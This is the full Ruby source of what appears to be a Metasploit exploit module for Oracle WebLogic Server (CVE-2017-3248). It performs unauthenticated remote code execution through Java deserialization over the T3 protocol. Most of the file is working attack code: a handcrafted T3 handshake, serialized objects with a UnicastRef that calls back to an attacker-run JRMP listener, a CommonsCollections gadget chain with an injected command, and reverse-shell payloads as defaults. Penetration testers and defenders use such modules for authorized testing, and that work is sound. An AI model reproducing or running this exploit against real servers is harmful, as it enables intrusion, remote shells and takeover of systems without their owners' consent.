Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_unicastref.rb
32822 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::TcpServer10# include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::Powershell1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Oracle Weblogic Server Deserialization RCE - RMI UnicastRef',18'Description' => %q{19An unauthenticated attacker with network access to the Oracle Weblogic Server T320interface can send a serialized object (sun.rmi.server.UnicastRef)21to the interface to execute code on vulnerable hosts.22},23'Author' => [24'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)25'Jacob Baines', # Vulnerability Discovery - Tenable Network Security26'Aaron Soto' # Reverse Engineering JSO and ysoserial blobs27],28'License' => MSF_LICENSE,29'References' => [30['CVE', '2017-3248']31],32'Privileged' => false,33'Targets' => [34[35'Unix',36{37'Platform' => 'unix',38'Arch' => ARCH_CMD,39'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' },40'Payload' => {41'Encoder' => 'cmd/ifs',42'BadChars' => ' ',43'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'python' }44}45}46],47[48'Windows',49{50'Platform' => 'win',51'Payload' => {},52'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }53}54],55[56'Solaris',57{58'Platform' => 'solaris',59'Arch' => ARCH_CMD,60'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },61'Payload' => {62'Space' => 2048,63'DisableNops' => true,64'Compat' =>65{66'PayloadType' => 'cmd',67'RequiredCmd' => 'generic perl telnet'68}69}70}71]72],73'DefaultTarget' => 0,74'DefaultOptions' => {75'WfsDelay' => 1276},77'DisclosureDate' => '2017-01-25',78'Notes' => {79'Reliability' => UNKNOWN_RELIABILITY,80'Stability' => UNKNOWN_STABILITY,81'SideEffects' => UNKNOWN_SIDE_EFFECTS82}83)84)8586register_options([Opt::RPORT(7001)])87end8889=begin This check is currently incompatible with the Tcp mixin. :-(90def check91resp = send_request_cgi(92'method' => 'GET',93'uri' => '/console/login/LoginForm.jsp'94)9596return CheckCode::Unknown unless resp && resp.code == 2009798unless resp.body.include?('Oracle WebLogic Server Administration Console')99vprint_warning("Oracle WebLogic Server banner cannot be found")100return CheckCode::Unknown101end102103/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body104unless version105vprint_warning("Oracle WebLogic Server version cannot be found")106return CheckCode::Unknown107end108109version = Rex::Version.new(version)110vprint_good("Detected Oracle WebLogic Server Version: #{version}")111case112when version.to_s.start_with?('10.3')113return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')114when version.to_s.start_with?('12.1.3')115return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')116when version.to_s.start_with?('12.2')117return CheckCode::Appears unless version > Rex::Version.new('12.2.1.1')118end119120return CheckCode::Safe121end122=end123124def gen_resp125if target.name == 'Windows'126pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })127mycmd = pwrshl.each_byte.map { |b| b.to_s(16) }.join128elsif target.name == 'Unix' || target.name == 'Solaris'129nix_cmd = payload.encoded130mycmd = nix_cmd.each_byte.map { |b| b.to_s(16) }.join131end132133serialized_cmd = (mycmd.length >> 1).to_s(16).rjust(4, '0')134serialized_cmd << mycmd135136# Response data taken from JRMPListener generated data:137# java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPListener <lport> CommonsCollections1 calc.exe138# Modified captured network traffic bytes. Patch in command to run139# TODO: Migrate this functionality to the new JavaDeserialization utilities140@resp = '51aced0005770f02086f5ef3000001651a67984d80017372002e6a617661782e'141@resp << '6d616e6167656d656e742e42616441747472696275746556616c756545787045'142@resp << '7863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176'143@resp << '612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863'144@resp << '657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e'145@resp << '5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c'146@resp << '6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573'147@resp << '736167657400124c6a6176612f6c616e672f537472696e673b5b000a73746163'148@resp << '6b547261636574001e5b4c6a6176612f6c616e672f537461636b547261636545'149@resp << '6c656d656e743b4c001473757070726573736564457863657074696f6e737400'150@resp << '104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c'151@resp << '6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c'152@resp << '3cfd2239020000707870000000047372001b6a6176612e6c616e672e53746163'153@resp << '6b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e'154@resp << '756d6265724c000e6465636c6172696e67436c61737371007e00054c00086669'155@resp << '6c654e616d6571007e00054c000a6d6574686f644e616d6571007e0005707870'156@resp << '0000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c6973'157@resp << '74656e65727400114a524d504c697374656e65722e6a617661740006646f4361'158@resp << '6c6c7371007e000b000000e071007e000d71007e000e740009646f4d65737361'159@resp << '67657371007e000b000000ab71007e000d71007e000e74000372756e7371007e'160@resp << '000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e'161@resp << '7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c6973'162@resp << '74fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176'163@resp << '612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c6543'164@resp << '6f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a617661'165@resp << '2f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e757469'166@resp << '6c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870'167@resp << '000000007704000000007871007e001b787372003273756e2e7265666c656374'168@resp << '2e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e'169@resp << '48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c7565'170@resp << '7374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a61'171@resp << '76612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574'172@resp << '696c2e4d617074001066696c653a2f746d702f73732e6a6172787200176a6176'173@resp << '612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c'174@resp << '0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174'175@resp << '696f6e48616e646c65723b7078707371007e001c7372002a6f72672e61706163'176@resp << '68652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d'177@resp << '61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61'178@resp << '70616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e7366'179@resp << '6f726d65723b74001066696c653a2f746d702f73732e6a617278707372003a6f'180@resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6675'181@resp << '6e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97'182@resp << '040200015b000d695472616e73666f726d65727374002d5b4c6f72672f617061'183@resp << '6368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f72'184@resp << '6d65723b74001066696c653a2f746d702f73732e6a617278707572002d5b4c6f'185@resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472'186@resp << '616e73666f726d65723bbd562af1d834189902000074001066696c653a2f746d'187@resp << '702f73732e6a61727870000000057372003b6f72672e6170616368652e636f6d'188@resp << '6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e737461'189@resp << '6e745472616e73666f726d6572587690114102b1940200014c000969436f6e73'190@resp << '74616e7471007e000174001066696c653a2f746d702f73732e6a617278707672'191@resp << '00116a6176612e6c616e672e52756e74696d6500000000000000000000007078'192@resp << '707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c65637469'193@resp << '6f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287'194@resp << 'e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e67'195@resp << '2f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b6950'196@resp << '6172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7400'197@resp << '1066696c653a2f746d702f73732e6a61727870757200135b4c6a6176612e6c61'198@resp << '6e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67'199@resp << '657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab'200@resp << '16d7aecbcd5a99020000707870000000007400096765744d6574686f64757100'201@resp << '7e003e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a'202@resp << '3bb3420200007078707671007e003e7371007e00367571007e003b0000000270'203@resp << '7571007e003b00000000740006696e766f6b657571007e003e00000002767200'204@resp << '106a6176612e6c616e672e4f626a656374000000000000000000000070787076'205@resp << '71007e003b7371007e0036757200135b4c6a6176612e6c616e672e537472696e'206@resp << '673badd256e7e91d7b470200007078700000000174'207208@resp << serialized_cmd209210@resp << '74'211@resp << '0004657865637571007e003e0000000171007e00437371007e0031737200116a'212@resp << '6176612e6c616e672e496e746567657212e2a0a4f78187380200014900057661'213@resp << '6c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b'214@resp << '02000070787000000001737200116a6176612e7574696c2e486173684d617005'215@resp << '07dac1c31660d103000246000a6c6f6164466163746f72490009746872657368'216@resp << '6f6c647078703f40000000000000770800000010000000007878767200126a61'217@resp << '76612e6c616e672e4f7665727269646500000000000000000000007078707100'218@resp << '7e005a'219end220221def on_client_connect(client)222# Make sure to only sent one meterpreter payload to a host.223# (or as long as the server was listening).224vprint_status("Comparing host: #{client.peerhost}")225if @met_sent.include?(client.peerhost) then return end226227@met_sent << client.peerhost228229print_status("Sending payload to client: #{client.peerhost}")230231# Response format determined by watching network traffic232accept_conn = '4e00'233raccept_conn = client.peerhost.each_byte.map { |b| b.to_s(16) }.join234accept_conn << (raccept_conn.length >> 1).to_s(16).rjust(2, '0')235accept_conn << raccept_conn236accept_conn << '0000'237accept_conn << client.peerport.to_s(16).rjust(4, '0')238239client.put([accept_conn].pack('H*'))240client.get_once241client.get_once242client.put([@resp].pack('H*'))243client.get_once244245service.close_client(client)246end247248def t3_handshake249# retrieved from network traffic250shake = "t3 12.2.1\n"251shake << "AS:255\n"252shake << "HL:19\n"253shake << "MS:10000000\n\n"254255sock.put(shake)256sleep(1)257sock.get_once258end259260def build_t3_request_object261# T3 request serialized data262# retrieved by watching network traffic263# This is a proprietary, undocumented protocol264data = '000005c3' # lenght of the packet265data << '01' # CMD_IDENTIFY_REQUEST266data << '65' # QOS267data << '01' # Flags:268# CONTEXT_JVMID_FLAG = 1 (has JVMIDs)269# CONTEXT_TX_FLAG = 2270# CONTEXT_TRACE_FLAG = 4271# CONTEXT_EXTENDED_FLAG = 8272# CONTEXT_EXTENDED_USER_FLAG = 16273data << 'ffffffff' # response id274data << 'ffffffff' # invocable id275data << '0000006a' # abbrev offset276data << '0000ea60' # reconnect timeout ??277278# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?279data << '0000001900937b484a56fa4a777666f581daa4f5b9'280data << '0e2aebfc607499b402797372007872017872027870'281data << '0000000a0000000300000000000000060070707070'282data << '70700000000a000000030000000000000006007006'283284data << 'fe010000' # ----- separator -----285286data << 'aced0005' # JSO v5 header287data << '73' # object header288data << '72001d' # className (29 bytes):289data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry290data << '5461626c65456e747279' # (continued)291data << '2f52658157f4f9ed' # serialVersionUID292data << '0c00007870' # remainder of object header293data << '72' # object header294data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo295data << '65726e616c2e5061636b616765496e666f' # (continued)296data << 'e6f723e7b8ae1ec9' # serialVersionUID297data << '02' # SC_SERIALIZABLE298data << '0008' # fieldCount = 8299data << '4900056d616a6f72' # 0: Int: major300data << '4900056d696e6f72' # 1: Int: minor301data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch302data << '49000b736572766963655061636b' # 3: Int: servicePack303data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch304data << '4c0009696d706c5469746c65' # 5: Obj: implTitle305data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String306data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor307data << '71007e0003' # (Handle) 0x007e0003308data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion309data << '71007e0003' # (Handle) 0x007e0003310data << '78707702000078' # block footers311312data << 'fe010000' # ----- separator -----313314data << 'aced0005' # JSO v5 header315data << '7372' # object header316data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry317data << '735461626c65456e747279' # (continued)318data << '2f52658157f4f9ed' # serialVersionUID319data << '0c' # EXTERNALIZABLE | BLOCKDATA320data << '00007870' # remainder of object header321data << '72' # object header322data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo323data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)324data << '972245516452463e' # serialVersionUID325data << '02' # SC_SERIALIZABLE326data << '0003' # fieldCount = 3327data << '5b0008' # array header (8 bytes)328data << '7061636b61676573' # ARRAY NAME = 'packages'329data << '740027' # TC_STRING className1 (39 bytes)330data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo331data << '6e7465726e616c2f5061636b616765496e666f' # (continued)332data << '3b' # (continued)333data << '4c000e' # object header (14 bytes)334data << '72656c6561736556657273696f6e' # releaseVersion335data << '740012' # TC_STRING (18 bytes)336data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes337data << '5b0012' # array header (18 bytes)338data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;339data << '740002' # TC_STRING (2 bytes)340data << '5b42' # 0x5b42 = [B341data << '78' # block footer342343data << '720024' # class (36 bytes)344data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo345data << '7465726e616c2e5061636b616765496e666f' # (continued)346data << 'e6f723e7b8ae1ec9' # serialVersionUID347348data << '02' # SC_SERIALIZABLE349data << '0008' # fieldCount = 8350data << '4900056d616a6f72' # 0: Int: major351data << '4900056d696e6f72' # 1: Int: minor352data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch353data << '49000b736572766963655061636b' # 3: Int: servicePack354data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch355data << '4c0009696d706c5469746c65' # 5: Obj: implTitle356data << '71' # TC_REFERENCE357data << '007e0004' # Handle = 0x007e0004358data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor359data << '71' # TC_REFERENCE360data << '007e0004' # Handle = 0x007e0004361data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion362data << '71' # TC_REFERENCE363data << '007e0004' # Handle = 0x007e0004364data << '78' # class footer365data << '70' # TC_NULL366data << '77020000' # BLOCKDATA (2 bytes): 0x0000367data << '78' # block footer368369data << 'fe010000' # ----- separator -----370371data << 'aced0005' # JSO v5 header372data << '73' # object header373data << '72001d' # className (29 bytes):374data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry375data << '5461626c65456e747279' # (continued)376data << '2f52658157f4f9ed' # serialVersionUID377data << '0c00007870' # remainder of object header378data << '720021' # className (33 bytes)379data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo380data << '65726e616c2e50656572496e666f' # (continued)381data << '585474f39bc908f1' # serialVersionUID382data << '02' # SC_SERIALIZABLE383data << '0006' # fieldCount = 6384data << '4900056d616a6f72' # 0: Int: major385data << '4900056d696e6f72' # 1: Int: minor386data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch387data << '49000b736572766963655061636b' # 3: Int: servicePack388data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch389data << '5b00087061636b61676573' # 5: Array: packages390data << '740027' # TC_STRING (39 bytes)391data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;392data << '6e7465726e616c2f5061636b616765496e666f' # (continued)393data << '3b' # (continued)394data << '78' # block footer395data << '720024' # class (36 bytes)396data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Lweblogic/common/internal/PackageInfo;397data << '65726e616c2e56657273696f6e496e666f' # (continued)398data << '972245516452463e' # serialVersionUID399data << '02' # SC_SERIALIZABLE400data << '0003' # fieldCount = 3401data << '5b0008' # 0: Array402data << '7061636b6167657371' # packages403data << '007e0003' # Handle = 0x00730003404data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion405data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;406data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes407data << '740002' # TC_STRING (2 bytes)408data << '5b42' # VALUE = 0x5b42 = [B409data << '78' # block footer410data << '720024' # class: (36 bytes)411data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo412data << '6e616c2e5061636b616765496e666f' # (continued)413data << 'e6f723e7b8ae1ec9' # serialVersionUID414data << '02' # SC_SERIALIZABLE415data << '0008' # fieldCount = 8416data << '4900056d616a6f72' # 0: Int: major417data << '4900056d696e6f72' # 1: Int: minor418data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch419data << '49000b736572766963655061636b' # 3: Int: servicePack420data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch421data << '4c0009696d706c5469746c65' # 5: Obj: implTitle422data << '71' # TC_REFERENCE423data << '007e0005' # Handle = 0x007e0005424data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor425data << '71' # TC_REFERENCE426data << '007e0005' # Handle = 0x007e0005427data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion428data << '71' # TC_REFERENCE429data << '007e0005' # Handle = 0x007e0005430data << '78' # class footer431data << '707702000078' # block footers432433data << 'fe00ff' # whatever this cruft is again434435data << 'fe010000' # ----- separator -----436437# weblogic.rjvm.JVMID object438data << 'aced0005' # JSO v5 header439data << '73' # object header440data << '720013' # class (19 bytes)441data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'442data << 'dc49c23ede121e2a' # serialVersionUID443data << '0c' # EXTERNALIZABLE | BLOCKDATA444data << '0000' # fieldCount = 0 (!!!)445data << '78' # block footer446data << '70' # NULL447data << '7750' # block header (80 bytes)448data << '21' # !449data << '000000000000000000' # 9 NULL BYTES450data << '0d' # \n451# data << '3139322e3136382e312e323237' # original PoC string = 192.168.1.227452data << '3030302e3030302e3030302e30' # new string = 000.000.000.0453# (must be an IP, and length isn't trivially editable)454data << '00' # \0455data << '12' # strLength = 18 bytes456# data << '57494e2d4147444d565155423154362e6568' # original str = WIN-AGDMVQUB1T6.eh457data << rand_text_alphanumeric(18).unpack('H*')[0]458data << '83348cd6' # ??? UNKNOWN ??? (Note: Cannot be randomized)459data << '000000070000' # ??? UNKNOWN ???460data << rport.to_s(16).rjust(4, '0') # callback port461data << 'ffffffffffffffffffffffffffffffffffffff' # ??? UNKNOWN ???462data << 'ffffffffff' # ??? UNKNOWN ???463data << '78' # block footer464465data << 'fe010000' # ----- separator -----466467# weblogic.rjvm.JVMID object468data << 'aced0005' # JSO v5 header469data << '73' # object header470data << '72' # class471data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID472data << 'dc49c23ede121e2a' # serialVersionUID473data << '0c' # EXTERNALIZABLE | BLOCKDATA474data << '0000' # fieldCount = 0475data << '78' # end block476data << '70' # TC_NULL477data << '77' # block header478data << '20' # length = 32 bytes479data << '0114dc42bd071a772700' # ??? UNKNOWN ???480# data << rand_text_alphanumeric(10).unpack('H*')[0] # (NOTE: RANDOMIZAITON BREAKS THINGS)481data << '0d' # \n482# data << '3234322e3231342e312e323534' # original string = 242.214.1.254483data << '3030302e3030302e3030302e30' # new string = 000.000.000.0484# (must be an IP, and length isn't trivially editable)485# data << '61863d1d' # original string = ??? UNKNOWN ???486data << rand_text_alphanumeric(4).unpack('H*')[0] # new = randomized487data << '00000000' # NULL BYTES488data << '78' # block footer489490sock.put([data].pack('H*'))491sleep(1)492sock.get_once493end494495def send_payload_objdata496shost = srvhost497if ['0.0.0.0', '127.0.0.1', '::'].include?(shost)498shost = Rex::Socket.source_address499end500501# JRMPClient payload generated from ysoserial:502# Patch in srvhost and srvport503# TODO: Migrate this functionality to the new JavaDeserialization utilities504payload = '056508000000010000001b0000005d0101007372017870737202787000000000'505payload << '00000000757203787000000000787400087765626c6f67696375720478700000'506payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'507508payload << 'fe010000' # ----- separator -----509510payload << 'aced0005' # JSO v5 header511payload << '73' # object header512payload << '72' # class513payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry514payload << '73735461626c65456e747279' # (cont)515payload << '2f52658157f4f9ed' # serialVersionUID516payload << '0c' # EXTERNALIZABLE | BLOCKDATA517payload << '0000' # fieldCount = 0518payload << '7870' # remaining object header519payload << '72' # class header520payload << '00025b42' # Name: 0x5b42521payload << 'acf317f8060854e0' # serialVersionUID522payload << '02' # SERIALIZABLE523payload << '0000' # fieldCount = 0524payload << '7870' # class footer525payload << '77' # block header526payload << '020000' # contents = 0x0000527payload << '78' # block footer528529payload << 'fe010000' # ----- separator -----530531payload << 'aced0005' # JSO v5 header532payload << '73' # object header533payload << '72' # class534payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry535payload << '73735461626c65456e747279' # (cont)536payload << '2f52658157f4f9ed' # serialVersionUID537payload << '0c' # EXTERNALIZABLE | BLOCKDATA538payload << '0000' # fieldCount = 0539payload << '7870' # remaining object header540payload << '72' # class header541542payload << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;543payload << '6563743b' # (cont)544payload << '90ce589f1073296c' # serialVersionUID545payload << '02' # SERIALIZABLE546payload << '0000' # fieldCount = 0547payload << '7870' # remaining object header548payload << '77' # block header549payload << '020000' # contents = 0x0000550payload << '78' # block footer551552payload << 'fe010000' # ----- separator -----553554payload << 'aced0005' # JSO v5 header555payload << '73' # object header556payload << '72' # class557558payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry559payload << '73735461626c65456e747279' # (cont)560payload << '2f52658157f4f9ed' # serialVersionUID561payload << '0c' # SERIALIZABLE | BLOCKDATA562payload << '0000' # fieldCount = 0563payload << '7870' # block footer564payload << '72' # class header565payload << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector566payload << 'd9977d5b803baf01' # serialVersionUID567payload << '03' # WRITE_METHOD | SERIALIZABLE568payload << '0003' # fieldCount = 3569payload << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement570payload << '49000c656c656d656e74436f756e74' # 1: Int: elementCount571payload << '5b000b656c656d656e7444617461' # 2: Array: elementData572payload << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;573payload << '743b' # (cont)574payload << '7870' # remaining object header575payload << '77' # block header576payload << '020000' # contents = 0x0000577payload << '78' # block footer578579payload << 'fe010000' # ----- separator -----580581# manually generated payload using an UnicastRef object582# needed parameters are patched in runtime583payload << 'aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265'584payload << '676973747279787200176a6176612e6c616e672e7265666c6563742e50726f78'585payload << '79e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265'586payload << '666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a61'587payload << '76612e726d692e7365727665722e52656d6f74654f626a656374496e766f6361'588payload << '74696f6e48616e646c657200000000000000020200007872001c6a6176612e72'589payload << '6d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e0300'590payload << '00787077'591# serialize the srvhost manually592unicast_srvhost = shost.each_byte.map { |b| b.to_s(16) }.join593unicast_dat = '000a556e696361737452656600'594unicast_dat << (unicast_srvhost.length >> 1).to_s(16).rjust(2, '0')595unicast_dat << unicast_srvhost596unicast_dat << '0000'597unicast_dat << srvport.to_s(16).rjust(4, '0')598# unique identifier (for multiple executions)599rand_id = rand(1..65535)600unicast_dat << '000000006133'601unicast_dat << rand_id.to_s(16).rjust(4, '0')602unicast_dat << '00000000000000000000000000000078'603payload << ((unicast_dat.length >> 1) - 1).to_s(16).rjust(2, '0')604payload << unicast_dat605606payload << 'fe010000' # ----- separator -----607608# basic weblogic ImmutableServiceContext object (serialized)609payload << 'aced0005' # JSO v5 header610payload << '73' # object header611payload << '72' # class612payload << '00257765626c6f6769632e726a766d2e496d6d75' # Name: weblogic.rjvm.ImmutableServiceContext613payload << '7461626c6553657276696365436f6e74657874' # (cont)614payload << 'ddcba8706386f0ba' # serialVersionUID615payload << '0c' # EXTERNALIZABLE | BLOCKDATA616payload << '0000' # fieldCount = 0617payload << '78' # object footer618payload << '72' # block header619620payload << '00297765626c6f6769632e726d692e70726f76' # Name: weblogic.rmi.provider.BasicServiceContext621payload << '696465722e426173696353657276696365436f' # (cont)622payload << '6e74657874' # (cont)623payload << 'e4632236c5d4a71e' # serialVersionUID624payload << '0c' # EXTERNALIZABLE | BLOCKDATA625payload << '0000' # fieldCount = 0626payload << '7870' # block footer627payload << '77' # block header628payload << '020600' # contents = 0x0600629payload << '7372' # class descriptor630payload << '00267765626c6f6769632e726d692e696e7465' # Name: weblogic.rmi.internal.MethodDescriptor631payload << '726e616c2e4d6574686f644465736372697074' # (cont)632payload << '6f72' # (cont)633payload << '12485a828af7f67b' # serialVersionUID634payload << '0c' # EXTERNALIZABLE | BLOCKDATA635payload << '0000' # fieldCount = 0636payload << '7870' # class footer637payload << '77' # class data638639# payload << '34002e61757468656e746963617465284c7765' # old contents = 0x002e61757468656e746963617465284c7765640# payload << '626c6f6769632e73656375726974792e61636c' # 626c6f6769632e73656375726974792e61636c641# payload << '2e55736572496e666f3b290000001b' # 2e55736572496e666f3b290000001b642payload << rand_text_alphanumeric(52).unpack('H*')[0] # new = randomized643payload << '78' # class footer644payload << '78' # block footer645# MISSING OBJECT FOOTER (0x78)646647payload << 'fe00ff' # this cruft again. some kind of footer648649# sets the length of the stream650data = ((payload.length >> 1) + 4).to_s(16).rjust(8, '0')651data << payload652653sleep(2)654sock.put([data].pack('H*'))655sleep(2)656sock.get_once657end658659def exploit660@met_sent = []661gen_resp662663connect664665print_status('Sending handshake...')666t3_handshake667668print_status('Sending T3 request object...')669build_t3_request_object670671start_service672673print_status('Sending client object payload...')674send_payload_objdata675676handler677678disconnect679end680end681682683